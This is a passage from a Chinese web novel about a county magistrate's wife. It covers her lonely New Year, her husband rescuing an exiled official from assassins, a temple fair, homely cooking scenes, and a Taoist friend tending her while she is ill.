冬季天色黑得快,家家灯火摇曳,照出片片飞雪。 陆笙感慨从口而出,化作一阵白汽流散。她希望能在年关不久收到老庄的信,又想到眼前的崔府邸。 不知道沈管事会不会在此时急匆匆去看那几株扦插东南的纸条?秦厌是不是又在哀叹永平县的饭菜难吃? 崔息,崔息会做什么呢? 大概是喝着茶看书卷,心情好一点就书几幅字,再好一点…… 陆笙不想了,因为回去就知道了。她更期待的是那个小屋子!她要好好改造一下,藏点银钱与兵器、再放些书卷,有空去州府的话买一些农书和传奇。 她又想起阿木凌的调侃,说她许久不练功。自己确实好久没练了,虽然原本也就三脚猫。秦厌功夫看起来不错,以后捉他赐教。 离家越来越近,陆笙的肩上已积了一层薄薄的雪花,一过转角她心情却沉入水底,崔府竟然没有上灯,里面安安静静的。 “或许就是门前的灯叫风吹灭了。”陆笙自我安慰。 她掏出钥匙开门,进去的时候里面也是一片黑,叫她只好拿出火折子来。不对啊,她走得虽慢,但已经托了人送信呀! 难道有……杀手?陆笙越想越心惊,小心翼翼地排查了一个时辰方才安定。 没有,什么都没有,而且府里的人不知道都去了哪里。 陆笙走到原来的漏风现在却已修缮一新的小卧门前,推门进去擎着灯四处找,最后在桌上找到一张纸,是崔息的笔迹。 “拜访州府上官,不日便回。” 哦,原来是应酬去了,既然是不日便回,那么应该不会拖到元日。 22. 第 22 章 《成为县令夫人以后》全本免费阅读 大道之上已有雪覆,崔息一行人正在路边休息,生了火吃口暖酒来御寒。 这里的冷通上京不同,像是千万根针密密得往你骨头里扎似得。 秦厌拔一拔剑,生怕有水落上把剑冻住,到时拔不出剑就窝囊了。 沈管事今天穿的是缺胯袍,腰间也别着一把剑,她功夫粗糙些,只会使几招寻常的,但要紧关头谁也说不准,保不齐就缺自己那一剑。金属声起起落落,秦厌和沈丰互相暗示,但谁也没说话。 “再过一刻出发。”崔息的声音从车里传出来。 秦厌从袖袋里抽出一张图,上面绘制着州府地图,上面还有五个朱笔画的红圈。 “公子,我们到底去哪里啊?你怎么把图圈了五个圈,难不成我们都要跑一遍?” 崔息说:“看到红圈中间那段路没?沿着这条路走。” 秦厌“哦”一声,对沈管事小声问:“段侍郎搞什么鬼?” 沈管事心里倒是有些数,她给秦厌多拿一块肉干劝:“多吃点,长力气。” “丰娘,我再两年就加冠了!”秦厌知道她想堵自己的嘴,但是这理由未免太敷衍了,再用心一些找个自己听不出的不行么? 沈管事拍拍手开始收拾东西,秦厌要帮她,她却把他按住,说等下他还要赶车,让她来吧。 “丰娘这是怎么了?”秦厌自言自语,又看看肉干,她不是想把我毒倒吧?又呸呸呸几声,这怎么可能呢?晦气的脑子。 一刻钟以后,车马又行,长长的车辙一路延伸出去,车辙声渐小渐无。 段习之此刻双眉紧皱,脸色严肃,因为这一路他是被追杀着走过来的。派下杀手的人肯定不是皇帝,不然也不会逃遁得如此轻易。 只是老马失蹄,这一队的杀手不知怎么比之前的聪明许多,辗转多次也愣是甩不掉。唯一可能就是落脚的馆驿有问题,一直有人在通报自己的行踪。 希望能在遇到刺杀者之前见到崔息,段习之想完用自己的手指搓一搓眉毛皱起的地方,然后拍一拍自己夫人的背,她还在安睡呢。 段习之给江岚扶一扶钗髻,手指贴着她的鬓角眷恋地刮一刮。忽然,马车骤停,段习之手扶住车板,心如擂鼓。 “悦真,怎么了?”江岚被这一晃晃醒了,发丝落下几根。 “没事,我去外面看看,阿岚你千万别出来!”段习之一撩帘子,携剑而出。 果然是有人拦住了他的车架,十个人穿着杂色袍子,黑布罩面,一看就是来者不善。 段习之笑着拱一拱手:“诸位劫财还是劫色?” “段侍郎好闲情,果然是从前的探花状元郎。”对面为首的冷笑一下,直接拔剑刺来,其他人也有合围之势,但一时之间却没有动手。 段习之悠然出剑,如蜂点花似得轻擦而过,来者的剑立刻偏了几分,段习之忽然后撤,调笑:“这么绵软的力道可是花叶也拨不开的。” “一起上,把他们都杀了!” “这么玩不起么?” 虽然言语轻佻,但面色却带着几分严肃,挥起长剑护住快要砍到车马的利刃。赶车的亲卫也拔剑与人缠斗起来,两个人功夫都不弱,堪堪能护住车。 但对方人数众多,几番搏斗下来他们已露出破绽,段习之的水色袍也添了几抹红,他心里大骂崔息,不会蠢笨到这点消息都看不出了吧? 此时剑意因心转变,直接剑走偏锋砍伤了一个,但他自己也差点面门失守。 战局焦灼时只听远处有车马声来,段习之欣喜若狂,但眼看着车马渐近却没有停的意思。为首的蒙面人大笑:“段侍郎,你还在妄想谁来救你?” 后面的笑还没有出口,有人淡淡应了一声。 原来刚才那辆车不知什么时候掉了头,崔息已然站在他们身后,为首看到他眼现惊恐。段习之掀翻砍过来的大刀,忍住破口大骂的心情,这时候拔剑就是了! 崔息的剑如他一样沉而稳,但直取命门,他三招两式就逼得人无法上前。 “公子,这些花拳绣腿不劳你动手,我一人足矣。”秦厌在后面压阵,剑势凶猛如虎。 两人的到来彻底改变局势,顷刻间蒙面人就败下阵来,再打下去约莫是要全灭在此。为首的倒不是莽夫,大喊一声:“我们撤!” 这伙人训练有素,毫不恋战,同伴的尸体也在撤退时带走。秦厌要追却被段习之叫住,“速速离去吧,我已然知晓了这些笨鸟的来历。” - 两人选了一处小而秀雅的宅院会面,据说是他友人私产,很安全。 “见过崔县令。”江岚明艳大方,对崔息轻施一礼落,坐在夫君段习之的身旁。 崔息点头并还礼,其实他与江岚并不相熟,两个人成婚也是段习之被牵连之时,应是患难之交,情深意重。 段习之捉住江岚的手说:“我如今也不去想做什么同平章事,做什么左相右相,做个地方官多好,天高皇帝远的,和你一样自在。” “你想得开就好,这一路不用再找个人送?看你圈了这么些个地方,馆驿里有什么人泄露你的行踪?”崔息问他要紧事。 段习之冷笑一声说:“皇帝李同铮不着急杀我,手底下干活的倒是忍不住了。不必多虑!嘿嘿,进了这个地界我叫他有去无回。” 崔息仔细思考一番,段习之母亲的家里在这边确是有些势力,比自己的处境还是强上不少。 “哦对,我要向你引荐一人!”段习之忽然一拍手掌。 “谁?”崔息饮一杯酒问,都用上“引荐”二字,多半不是轻松的事情。 这时候外面传来洪声如钟的笑,接着门被一双蒲扇似的大手砰地推开,一个面色红润的中年人走进来,他体格强壮,单开的一扇门快要容不下他。 “参见殿下。”那人忽然抱拳而跪,像小山一般压在崔息面前。 崔息听到“殿下”二字,睨一眼段习之。 段习之已经握住江岚的手,他现在真想找个地洞钻下去,这元一力在说什么癫话! “在下崔息,已未年进士,现任永平县令,并非什么殿下,元将军认错了。” 元一力也面露尴尬,连忙改口叫:“崔县令。” “不知将军见我何事?”崔息握着杯子不想废话。 “只愿一睹尊荣,有幸相见已了心事,元某就先行告退。”元一力见出师不利立刻退去,“殿下”两个字都被他驳回,可见其心。 这段事说来复杂又不复杂,全关崔息从前身世。 从前他以为自己是名门之后,父亲在他出世前已意外身亡,但母亲智勇双全,一骑绝尘,他也从没受过什么委屈。崔息少年时狂妄也聪慧,和右相之子段习之还有太子是少年友人,三人约定,金榜题名后同心共力。 谁知一朝题名,自己与那君王有七分相似,起初他不以为意,后来被君王留下,告之从前旧事。 原来皇帝与母亲有一段风月事,可母亲并不愿入宫,便留在家中。这段曲折崔息答应只知不说,可不知皇帝年老后起了什么心,在国家南北有危时留下一封金笔诏书,他说他要禅位于自己。 此时母亲已经去世五年,他从未来过她坟前一次,崔息知道这件事时只觉得呼吸灼痛。 他恨皇帝,恨他在万万人之上却从没保护过母亲! 恨他坐享天下从没给母亲过一点温存! 恨他身为君主却昏聩无能! 恨他要在存亡危机之时要传位于自己! 自己和李同铮相斗只有两败俱伤,到时外敌趁虚而入又当如何?他不知道吗?! 不管是儿子的身份还是臣子的身份,崔息都恨他,恨得夜不能寐,这份恨如地狱里的油锅汤镬般日夜煎熬沸腾。崔息从前不明白为 23. 第 23 章 《成为县令夫人以后》全本免费阅读 贬谪之臣不容喘息,到一馆驿休憩不了两天就要继续出发。 段习之已整备了车马,准备夜里启程,崔息陪他夫妇二人四处散散心。 “天高皇帝远呐,除了偏僻些、简陋些、无聊些、吃的玩的欠缺些,其他的都比上京好啊!”段习之站在半山小亭,向下望着蜿蜒的河面感慨。 崔息问:“当年策论你写的是蹴鞠心得,宏词写的是博戏笺注?” “少挖苦我,你怎么不说你把探花郎扔给我,害我被人砸下马躺了三天?你是早知道有此事吧?”段习之瞥他一眼,“还有啊,你是改不了你当名臣的病了是不是?你现在是县官,县官!还是我朝成千上万的县官里最蹩脚、偏僻远无人想接的那种。真不知道你怎么想的,避人你去江南道呗,好歹富庶安乐,你何苦呢?” “也……不苦,就是辣。”崔息想到那一碗气味浓烈的红糖姜水。 段习之“呵”一声问:“倒不知崔云尘,你这个名门崔氏集贤院校书郎何时学得了几分油嘴滑舌!” “这事秘书省正字段悦真倒不用学,无师自通。” “诶!我说你……算了,我听禅师说要宽心,心宽天地宽,我不跟你一般计较。” 段习之在心里安慰自己,这人做县令心里肯定正憋屈呢,让让他,就让让他吧。 “走吧,估计我夫人也上完妆了,这河我也看够了,终于理解那句“孤舟蓑笠翁,独钓寒江雪”,我现在也是肺腑冰寒啊!”但他又很快转变情绪带着几分期待与崔息讲:“待会儿要不先去庙会?我夫人爱热闹,委屈委屈你跟着,逛完再去五庙街吃些东西如何?” “嗯,听你们安排。”崔息没有反对。 两个人又说些话,踩着白雪回去,天地之间又落琼花。 饶是段习之也忍不住感叹:人生天地间,忽如远行客[1]。 回去江岚已在等他们,她今天穿的也是圆领袍,外面加的是兽皮披风,暖耳雪白衬得她人愈发鲜艳,如雪中芙蓉。 段习之立刻过去拍马屁,江岚则对崔息微微点头后才与段习之耳语,不知两人说了什么话,笑得捧腹。 秦厌在一边支着下巴,有点心不在焉。 “怎么了?待会儿又少不了吃的。”沈管事拍拍他的肩膀。 “我们是玩了,笙姐姐呢?她一个人在家,还没个仆役,关键是临近年关,这我哪还能玩得下去?”秦厌替陆笙委屈。 沈管事又何尝不是,也不知道阿郎这件事上怎么了,她不怪秦厌直白,有情有义没什么好指摘的,况且他也不知道阿郎那些曲折事。 “那给笙娘子挑把好剑吧,你们不是说她从前是配了短刀的么?可我没见过她的刀。”沈管事看得仔细。 “好,还是丰娘周到。我要选一把最好的刀,就是不知道笙姐姐会不会使剑。” 沈管事思考一下讲:“那你买刀子我买剑。” “好!”秦厌立即同意。 - 庙会很是拥挤,人群闹哄哄,头顶的五色彩旗则迎风猎猎作响。 江岚和段习之在前面逛得兴起,秦厌和沈管事则商量着刀子和剑的具体款式,又猜测陆笙会喜欢哪一种的。 只有崔息是一个人,慢悠悠坠在四人身后。他今天穿的也是白袍,混作寻常郎君来庙会凑热闹的样子,可惜生来冷清,摩肩接踵的道上也显眼异常。 州府里人多,好些胆大的小娘子直接扯住他的衣服问:“好俊俏的郎君,有伴儿没有?” 崔息摇摇头,对面之人大喜,但他下一句就是:“某已成婚,娘子还在等我。” 对方也不恼怒,大大方方笑过说了几句祝福话离开。但也有些不罢休的,缠了好一会儿。崔息走完这条街,衣服袖侧都被扯坏了。 段习之促狭大笑,江岚也微微侧过脸去偷笑。 秦厌却有些不快,怎么没人扯自己呢? 沈管事幽幽道:“大概以为我是你长辈,不敢来放肆吧。” 庙会上也有些饴糖糕饼卖,但除了秦厌买了个甜馅的饼以外,其余人逛完几个人只想吃正经饭食填饱肚子。 于是几人便找了一家食店,点了些羊肉、蒸饼与农家酒吃喝。 “不是饿了吗?怎么不吃?”段习之给江岚夹一筷子菜,转头问兴致缺缺的秦厌。 “不如我家笙姐姐做的卧蛋面。”秦厌拿着蒸饼边说边摇头,心里那个惆怅哇,这些东西吃起来既没香又味杂,厨子还将不融合的味道瞎放一块,实在难吃! “哦?”段习之和江岚的眼神齐齐落到崔息身上。 “县令夫人擅饮食之道?”江岚忍不住问,这一路上她瘦了不少,都是因为没有合口味的食物。 崔息看一眼秦厌,他何时吃了什么卧蛋面?又答江岚:“拙荆厨艺确实尚可。”语气里隐约欢喜。 能得崔息这样夸赞的不多,段习之更疑惑了,那为什么不带来呢?这个崔云尘又在想什么弯弯绕绕为难自己的事情。 吃完饭,一行人浩浩荡荡地去寺庙祈福,颇为尴尬的是,除了崔息每个人都抽到了好签,崔息的签说的是“山穷水复疑无路”,可偏偏没有后面那一句“柳暗花明又一村”。 去问又被告之此乃隔壁道观暂时摆在此处的摇签,对面观小,怕人太多又把门槛挤坏,所以就放到了此处。 “释子不问天,不卜卦,因缘和合而生,缘尽缘散时亡。” “阿弥陀佛。”段习之与江岚合十颂号,都意外这里还有这样的僧人。 秦厌却问:“那这一文钱一次的钱给谁啊?” “当然是给隔壁修门槛呀。”僧人笑容爽朗。 大家听了也笑,回过神那僧人却不知去了何处,崔息则在旁边重复读了几遍签语。 “子不语怪力乱神,云尘别瞧了,我们去别的地方玩。”段习之拿走了他手里的签。 还想去逛些别的,有个戴冠的道士忽然截住段习之,他与段习之说了些什么后行礼离去。 段习之苦笑,紧握江岚的手对崔息说:“云尘,这一行恐怕你我又要分别了……” “何事如此着急?”崔息皱眉。 段习之摆摆手只说不是什么大事,但却要快些处理。又说他夫妻二人安定后 崔息不再深问,两方作别,又不知何时再见。人群依旧熙熙攘攘吵吵闹闹,夫妻二人相伴相携渐失踪迹。崔息眺望着,视线由实转虚。 此刻是万万人的欣喜瞬息,但于他却有一种说 24. 第 24 章 《成为县令夫人以后》全本免费阅读 陆笙是个闲不下来的人,回来后日子只过一天她就在思考做些什么。虽然她最想做的事其实一直都有,那就是劫掠库房然后逃之夭夭。 不劳而获再一躺到底是她狂徒梦最完美的结局。 揣着这样的心思乐呵了一会儿,她想起后园的那个木屋来,那屋子还剩顶没有封,虽然自己不会但昂摩会呀,她可是能建木楼的人。 当时与黄脸汉子结算的事她听了,他说只给木料加工费就好,其他就当白送的。据说是沈管事出手太大方,叫他们吓一跳,再不敢多拿。 现在卡在这不尴不尬的当口,自己去请昂摩出手岂不是正好?工钱不必说,更要紧的是还应有好吃好喝的招待她们,这是她们那的习惯。 昂摩爱喝酒,阿木凌好吃肉。陆笙想,如果这里有啤酒那么她就可以做啤酒鸭,有白酒也可以做白酒炖鸡,可惜都没有,只有品质一般的黄酒,但黄酒也很妙的,可以炖猪、羊肉,那份酒糟也不浪费,她外婆夏天时爱用它糟鸡鸭。 打定了用什么酒的主意,陆笙立刻着手准备东西,并在下午时带上钱往阿木凌那去。又好在崔息不在家,她可以暂时回归些放肆的天性,比如直接翻墙出去。 陆笙从前一直是乖学生,从小到大都没翻过墙,不管是闹着玩的还是逃学,一次也没有。而且她那时体质也羸弱,她总调侃大概是上辈子和谁有因果没了但那人又没找自己还。舍友说她搞笑,指标约等于无性恋的人不要蹭爱情故事。 如今这身体就不一样了,甚至还有些粗浅功夫,翻墙这种不仅有忽然开阔体验,且高低起伏强烈的事她太喜欢了,要是永平县也有高楼大厦,那她甚至要玩一下跑酷。 以前在家里倒是有上过屋顶,但被老庄念叨吵,轻功梦一下碎光。 出门后,陆笙七弯八绕随意在永平县溜达一番,发现又走了两户家人,不知道是去州府玩呢还是再不回来。路过的谢宅倒是热闹,新的灯笼早挂上去了,就是那郁垒神荼倒还没换,依旧是褪了色的。 走啊走,陆笙想起一则故事来。 说是有那么一个爱赚钱的富人和一个划船的船工,富人说以后的愿望就是无所事事地划船,船工疑惑那为什么不现在就划船? 虽然差别显而易见,但陆笙一直爱盘它。 譬如现在,自己无拘无束地走,这也是理想状态之一,可这只是生活里闲暇的片刻,她的生活如冰山的话,这只是冰山一角,可这一角也是真的,为什么无法真正地快乐? 她已经不畏惧瞬间的生死,不再害怕付出,可依旧无法觉知每个瞬间的含义,依旧会被情绪时时蒙蔽。陆笙边走边想,走过家门口也不自知。 阿木凌恰巧开了门要走出来,看到她一脸魂游天外大声喊了她的名字,大巫说陆笙这种样子很危险。 陆笙摸摸鼻子说:“好巧。” 阿木凌鼻翼轻轻动一下,像是通过闻的方式来识别假话,她判断说:“你在说谎。” “你说得对,不太巧。”陆笙大方承认,“我是来请你阿娘和你去做活计的,你阿娘会盖屋子,我请你们帮我把屋子的顶给盖上。” “县令这点事情都不帮你做吗?”阿木凌完全不能理解,据说县令有很多很多的钱,而且还会有很多的地,甚至会配给役力给他的田。 “这倒不是,县令有县令的事,这屋子是我的事。我准备了工钱和好酒好菜,还有一只荷叶鸡,这里买不到木姜子,只好用荷叶来裹。哦对,还有上好的梅酒,就一坛了。” 陆笙一下子罗列了一堆,那梅酒是她的必杀技,因为梅酒的酒基是用她自己蒸馏的酒泡的,酒液汩汩带蜜香,看上去也清澈异常,这种酒在此时几乎寻不到。 昂摩在屋子里织布,听到屋外有人说话,她的声音就从里面传出来:“阿木凌,是谁啊,是李婶吗?” “不是,是陆笙,她想喊你去做房子。”阿木凌转头回答阿娘。 昂摩一听是陆笙来了立刻快步走过来,她答应得十分爽快,她说:“走吧,我和你去做屋子,这段时间你真是帮了我和阿木凌太多,我们想做的生意也还差些银钱。” 阿木凌却拉住她:“阿娘,能行吗?”现在天气冷,她怕不好做。 “不行的话就指导指导我,我力气大,但是不会干。”陆笙大大咧咧地笑笑。 阿木凌叹气,真不懂陆笙是怎么长的,又聪明又傻的。尤其是见到过她聪明时候的样子后,你会经常以为她在装不懂,实际她真不懂。 “那好吧,让我阿娘指导,我们俩做。她好些年没做屋子了,我怕她受伤。”阿木凌担忧。 “成,再跟我去买半扇猪,我想吃你的熏肉了,帮我熏一些。”陆笙不客气地说。 “拿什么换?”阿木凌有丰富的和陆笙交易的经验。 陆笙说:“白做行不行?分你点。” “行,行,正好缺熏肉呢!”阿木凌喜笑颜开。 三个人收拾简单的行李慢步往崔府踱,天一点点黑下来,陆笙搓搓手说:“这里大家再过些日子就要过大节,到时候有焰火看,别吓着了。” “那你来和我们一起看吗?”阿木凌问。 还没回答却看到一个熟悉的身影在拐角。是阿灵,她正搀着一位年迈的太婆,太婆走得极其缓慢,走一步歇一步的,五官也紧紧皱在一起。 “夫人?”阿灵看到陆笙眼眶一下就红了。 陆笙走过去拍拍她的头问:“怎么了?” “我……我阿婆摔倒了,脚好像扭了,夫人……”阿灵的声音已经有些哭腔。 “莫哭,莫哭。”陆笙安抚她,阿木凌贡献出一张羊皮子给老人家垫着。 昂摩从怀里掏出药酒,蹲下来和陆笙一起给老人家看看到底是怎么了。 “没事啊没事,太婆,你今年几岁啦?”陆笙的手边按边问。 太婆“哦哟哟”喊一下,然后回答:“快六十啦…诶哟,痛!” “太婆,痛吗?您没事呀!”陆笙拿温热的手掌捂一捂老人家的关节。 “诶?”阿灵的太婆面现震惊。 昂摩立刻把药酒递给陆笙,陆笙搓热手给太婆涂上。阿灵看到太婆没事,快要给陆笙下跪了。陆笙赶紧把她扶起来说:“举手之劳罢了,这样的天气里,要小心些,人老了脚上没力气,是接太婆来过元日吗?真是好孩子。” “是,是的。呜呜……”阿灵的眼泪珠子马上落下一串,阿婆掏出手绢给她擦。 陆笙想到自己的外婆,眼睛快速 25. 第 25 章 《成为县令夫人以后》全本免费阅读 那年阿娘刚得病,对如何处理今后的生活阿木凌还很迷茫,甚至是困惑。每天都是手忙脚乱地干活,每次一想到要去山下与县城,甚至与那里的人打交道她就紧张得睡不着。 可日子一天天过,她总要去交接。那时候也是冬天,阿木凌带着好多斤山货和土药下山,下山前给阿娘准备了些叶粑,一个一个挂在竹竿上,告诉她一天抓一个吃,最好搭配着肉干吃,渴了就烧水煮大茶喝,因为大茶能够帮她缓解病情。 可是一离开山林她的腿就打摆,颤颤巍巍走到半途看到有匹马在那吃草料,旁边一个女人在煮什么东西,香甜的味道被冷风刮到她鼻尖。女人看起来是县城里的人。 阿木凌咽下一口唾沫,腿愈发使不上劲,肚子一声又一声地叫。 咕噜噜,咕噜噜,真是生怕别人听不见她饿坏了,阿木凌羞愤交加。都怪她下山之前太紧张,只记得给阿娘准备自己的那份却忘了。 路过那个女人的时候,她对自己笑,阿木凌紧张地紧了紧背篓,忽然见她站起来,最后伸出手拦住了自己的去路。 “嗬!!” 阿木凌努力让自己看起来凶一点,受限于贫瘠的北人词汇,她选择用最简单的动物式恐吓。 女人却不怕,只说:“喝吗?刚煮的醪糟甜汤。” 阿木凌那年没有见到这东西是怎么煮的,今天却见到了。 陆笙先拿了三个鸡蛋,把蛋黄和蛋白分开,然后煮一锅的开水,把一颗一颗的白圆子下进去。锅里的水咕嘟咕嘟得冒泡,圆子大概是用糯米做的,水开以后有淡淡的糯香,那水也变得有一些粘稠。 煮软了这白玉似的糯圆子,陆笙把炭火拨开一些,然后分别加入酒酿和蛋清与蛋黄。 “为什么不一起放进去,还要多洗一个碗。”阿木凌发问。 陆笙笑说:“好看呀,金银二色雪添红。”说着她又掏出一把枸杞放里面,又手脚麻利地把甜汤盛出来,先给昂摩一碗,再给阿木凌一碗。 阿木凌看着碗里清淡香甜的醪糟甜汤轻轻吸一吸鼻子,问陆笙:“为什么你做得不酸?” 昂摩摸一摸女儿的头,这事她倒是晓得。“酒酿热水煮久了就发酸,像陆笙这样刚刚好。” 瓷勺碰撞叮当,三个人在厨间围坐喝汤,一口下去既有软糯的口感又有香甜的气味,酒酿里那点微不足道的酒蔓入身体的四肢百骸,产生了些似有若无的酥麻感,消解了冬日寒冷。 “待会儿我们再吃红烧羊肉和米饭,今晚好好睡一觉,明天再起来做屋子。” 昂摩把碗一放,神情温柔地说:“你先带我们去看看那屋子?这样吃饭的时候也好商讨商讨,否则明天开头太难不好做的。” “行。”陆笙同意,又可惜昂摩,这几年她一直在病中,到现在才治好,不知道该说坚持有结果还是难过蹉跎了几年。若早点知道熊尸能换,她或许能帮着出些主意。 阿木凌这时候已经在收拾,这个孩子虽然牙尖齿利,但是人懂事得叫人心疼,吃完就开始主动收拾碗筷,可不像秦厌,下次必须得给他立规矩,不洗碗就不准吃自己做的菜。 “你去给你阿娘和我选个铺盖,就在那间,拿着灯去,今天我们睡在旁边的屋子,能推得动门的那间。”陆笙把阿木凌的手拨开,交付她另一些事情。 两边各自把事情做完后,又一起提了灯往后园走,阿木凌亲身走近时对房子的规模已然震惊,现在看到后园的规模更是纳罕,这么大的空地,这得种多少菜?难不成这个县令要种菜卖吗? “你们家这块地很好吗?要圈起来,还是要种什么难得一见的菜?”阿木凌问。 陆笙知道阿木凌没有园林这种概念,因为森林与私家园林不同,森林植被更丰富且富于生命力,但野性又通常意味着一种侵略性,园林则是文人心中美学的外化。不过,这园林以后要有自己心灵的一部分,种菜! 陆笙大脑转一圈,回答:“呃,还没想好,先看屋子。” “行,要是有好吃的,别忘了给我和阿娘留一份,我们也买来尝尝。”她的那些木头卖了出去,现在手里可不紧张。 昂摩没说话,一直在看屋子,这屋子改得确实好,屋檐做出了优美的弧线,雨水下落的模样被认为更改。现在这屋子就是需要把屋顶铺好,还有一部分的小工。 “陆笙,你这屋子要做散水,不然到雨水多的日子泥泞得很。” “那……洒些草籽长成草皮子行不行?”陆笙知道防水不得马虎,这样有木结构的屋子最是怕水浸着,再来些白蚂蚁,这屋就废了。 “你就往那池塘里放,也不是脏水,那池塘是活水吧?没见结冰。”昂摩一眼就看出来门道。 “行,听昂摩的。”陆笙秉承着专业人做专业事的态度。 三个人又来到搭建好的屋子里,昂摩开始四处走,似乎在丈量什么。她有个绝佳的本事,就是靠步子来测量,通常不会差上一分。 “你这屋子怪大的,陆笙你住还是和那县令一块儿住啊?还是你们每天都睡不同的屋子?”阿木凌不理解。 “我一个人住,我不得操持家里种地的事么?怕有人偷了地里的粮食,所以睡得比狗晚,起得比鸡早,天天要守着。”陆笙开始朝她编瞎话。 “胡说!你这屋子得卖多少菜蔬瓜果才赚得回来?” “我都嫁给他了,可不就是长工么?”陆笙脑子思考屋子布置的事,分神回阿木凌。 阿木凌被她气得指着她说:“你……你唬我!” 昂摩听她们两个逗嘴直笑。 测量完回到厨间,陆笙不知道从哪掏出一个尚且热乎的罐子,她笑眯眯地把罐子放在桌上。阿木凌凑过去闻一闻,弹似得离开。 “陆笙,这……什么味道,好难闻的酒味!” 这坛子是用荷叶包了口,此时荷叶已有一股淡淡的羊肉腥气,因为酒精携带这些味道附着在了稍作浸泡过干荷叶里。 陆笙不言语,把绕着固定的麻绳一圈又一圈地解开,掀开的时候一阵热气冒出来,陆笙抬起坛子把里面的羊肉导出来。这羊肉带着皮,但因为长时间的炖煮已有晶莹色,浓厚的鲜亮的赤色汁水挂在肉上,又慢悠悠地落下。 “坛子羊肉配腊肉饭,腊肉我切了丁,上面洒了些小葱,好看些。” 阿木凌根本顾不上听陆笙说了些什么,拿着碗就开始吃。 这羊肉皮已软糯,还轻轻的粘牙,似有若无的甜味和咸鲜一股脑冲到口腔里,搭配包容的米饭,光是 26. 第 26 章 《成为县令夫人以后》全本免费阅读 元日是个好天,冬日暖阳照破河上薄雾,山野辽阔清晰。 今日永平县家家都开足了灶,清晨时烟火气就开始缭绕。走到街上闻一闻,红烧的、清蒸的、还有甜的、酸的,各种味道融合交织,在墙角晒太阳的小黄狗和小花猫也站起来四处蹦跳,去追飘过的一缕香。 为了赶回来与陆笙一块过节,三个人已经两天没合眼,快到家时沈管事有些支撑不住,靠在软枕上睡去。马蹄声“哒哒哒”踏过一户户人家合力扫出的道路,最后在崔府门口停下来。 崔息略整理一番下车,又摸一摸下巴上青青的胡茬,自己身体里似有根紧张的弦被用力搓摩了几下,脚落在地还有些微微发颤。 秦厌在旁边嘀咕一句:“坐久了,我脚都麻了!” 跺了几下脚,他发现公子只穿了袍子没披皮袄就下来,立刻转身给他抓了件厚衣,可惜那只手炉不知什么原因没有续上炭火,现在已经冷得透彻。 “我来吧。” 崔息系好勾带忽然拦住秦厌敲门的手。他一早就看到门上锁是卸了的,秦厌推一推门又没动静,这说明陆笙应该在家。 握住冰冷的铜环,用力在门上敲了几下,崔息退后三步。 她一个人在府邸里住了许多天,会责怪自己么? 还是已经做了一大桌的菜准备先礼后兵,等晚上再与自己盘算清账? 崔息忍不住推敲她的行为,一切都怪他们延了时日,到元日才回家,出去时一切顺利,甚至惊险时刻也通通度过,返程时却耽误了。 时间一点点地过,门后却还没动静,沈管事提议去偏门,万一娘子在厨间忙活听不到呢?到时候也好喊几句。 “嘿,来了!”秦厌耳朵轻轻一动,欣喜地说。 崔息凝神,他也听到门后的脚步在一步步接近,沈管事紧张得转了转自己手上的戒指。 “阿乐……”门开时,崔息叫出陆笙的小字。 但伸出来的却是一双骨节分明的手,门越开越大,三个人看到一个黑鬓白面,头戴莲花玉冠的男人与他们互相对视。 这人长得倒是风标不凡,可怎么在自家啊!?秦厌的宝剑出鞘,顷刻就架在那人的脖颈之间。 道士面色不改,坦然自若地对三人微躬上身说:“贫道清淮,今日来此拜访友人,不成想她所嫁非人以至操劳过度身体抱恙,于是留下照料。” 阮清淮如实交待,可话里话外都是对陆笙婚事的不满。 秦厌还没发火,就听自家公子问“病了?她怎么病了?!” 阮清淮气质温润,对这句话却冷了脸,“哦?崔大人果然不知。” 崔息没有心思和他纠缠,推开另一扇门直接往家里走去,阮清淮在后面“好心”指路。 “这道士什么来头?以为这里是他家吗?嚣张得很。公子,我要不要教训他一顿?”秦厌为了跟上崔息的步子已经有些吃力,但还不忘说几句那个依仗自身风流说酸话的家伙。 秦厌对道士没什么好感,帝王家吃丹丸吃出问题的不知有多少,且不仅吃丹丸,还有那些个什么内中秘术,嚯,玩得那叫一个花。 哪怕公子跟他说只是一部分走入偏门之人如此,他现在也是警惕心大起,这个人不是来勾笙姐姐的他都不信,大冬天穿这么薄的衣服,成何体统? “先去看夫人。”崔息步子越走越大,越走越快,叫人无法跟上。 沈管事拉一拉秦厌,然后对崔息喊:“阿郎,您先去和夫人保平安,我们将车停放好。” “诶呀,丰娘,你拉我做什么?!”秦厌不明白,他都看出那个狐狸精居心不良,丰娘还看不出吗?! 沈莲丰“诶呀”一声,说“你快随我来!” 秦厌只好乖乖跟上,丰娘自有她的道理。 果然,走出门以后丰娘就耐心给他解释起来,她说现在这情况不是很明显么?我们娘子身体有恙,阿郎正担心着她,两个人感情甚好,这道士不足为惧,不过两人感情的过客。说不定还能让他们俩的感情百尺竿头更进一步,到时呀,你得准备准备迎接新喜啦! 陆笙此刻在屋内头晕目眩,这病来如山倒,明明昨日身体还好好的,今日就软绵绵的失了力气。 也不知道清淮阿兄那药也不知熬好了没?她让阿木凌与昂摩拿了菜先回去,今日元日,陪着病人都没心思看焰火,阿木凌那样期待焰火,陆笙不忍心叫小姑娘失望,所以极力劝。 又幸好淮哥哥嘴灵,一起说了几遍阿木凌和昂摩才安心,看二人相逢多话,也不再打扰。 听到门外的动静,陆笙对外喊了一句:“阿兄……” 她想问他是去费了什么周折,自己只是一事将成,心情懈怠之下身体情况才如山崩塌,只要好好修养很快就会没事的。 可来的人是崔息,他面色憔悴,衣衫乱翻。 陆笙生出一种单薄而稠密的尴尬,是感情与理智互相刮擦剩下的一片恍惚不清,陆笙闭了眼不去看他。 “夫人,我回来了。”崔息解下外罩的袍子,将寒气留在远一些的地方,一句话说出去眼尾有些发潮。 “崔郎一路风尘,辛苦。”陆笙头疼欲裂,太阳穴清晰地感知到血脉的跳动,这种一次次脉冲似得感受让人崩溃,无法休息。 崔息端持在前的手紧握着拳,看她这个样子,话实在不知从何说起。 “阿乐,药煮好了,快喝吧,喝完好生休息,阿兄陪着你。”阮清淮推开门,手里的药碗散发着苦涩的草本气味。 崔息语气淡淡地对他说:“内子的事情不劳道长操心,我自会好生照料。今日是元日,道长先行回去与家人团聚才好。” “我与阿兄多年未见,就让他陪我说会儿闲话。”陆笙赶忙制止,她还有重要的事情想问阮清淮。 阮清淮把药递给她,旁若无人地盯着陆笙仰头喝下,然后给她递上布巾又给她递上蜜饯,看她吃下眉头舒展后才回答:“肯请大人全阿乐心愿,我只留一个时辰便好。” 崔息看到陆笙单衣并算很不整齐,却不避着阮清淮,心里居然翻出一些莫名的嫉妒。 